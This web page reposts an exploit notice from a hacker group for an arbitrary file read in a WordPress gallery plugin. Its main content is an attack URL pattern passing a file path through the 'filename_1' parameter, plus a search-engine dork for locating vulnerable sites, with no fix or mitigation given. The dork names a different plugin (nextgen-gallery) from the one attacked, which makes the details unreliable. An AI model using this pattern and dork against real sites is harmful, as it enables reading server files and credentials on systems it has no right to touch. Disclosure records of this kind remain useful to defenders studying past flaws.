Wordpress gallery-3.8.3 plugin Arbitrary File Read Vulnerability

2013.01.10

Credit: IrIsT.Ir

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: inurl:plugins/nextgen-gallery

#######################
#
# Exploit Title : Wordpress gallery-3.8.3 plugin Arbitrary File Read Vulnerability
#
# Author : IrIsT.Ir
#
# Discovered By : Beni_Vanda
#
# Home : http://IrIsT.Ir/forum/
#
# Software Link : http://wordpress.org/extend/plugins/gallery-plugin/
#
# Security Risk : High
#
# Version : All Version
#
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
#
# Dork : inurl:plugins/nextgen-gallery
#
#######################
#
# Expl0iTs :
#
# [Target]/wp-content/plugins/gallery-plugin/gallery-plugin.php?filename_1=[AFR]
#
#
#######################
#
# Greats : Amir - B3HZ4D - C0dex - TaK.FaNaR - Dead.Zone - nimaarek - m3hdi - F@rid - dr.tofan
#
# and All Members In Www.IrIsT.Ir/forum
#
#######################

References:

http://wordpress.org/extend/plugins/gallery-plugin/

See this note in RAW Version

Vote for this issue:

33%

67%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Wordpress gallery-3.8.3 plugin Arbitrary File Read Vulnerability

Dork: inurl:plugins/nextgen-gallery

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.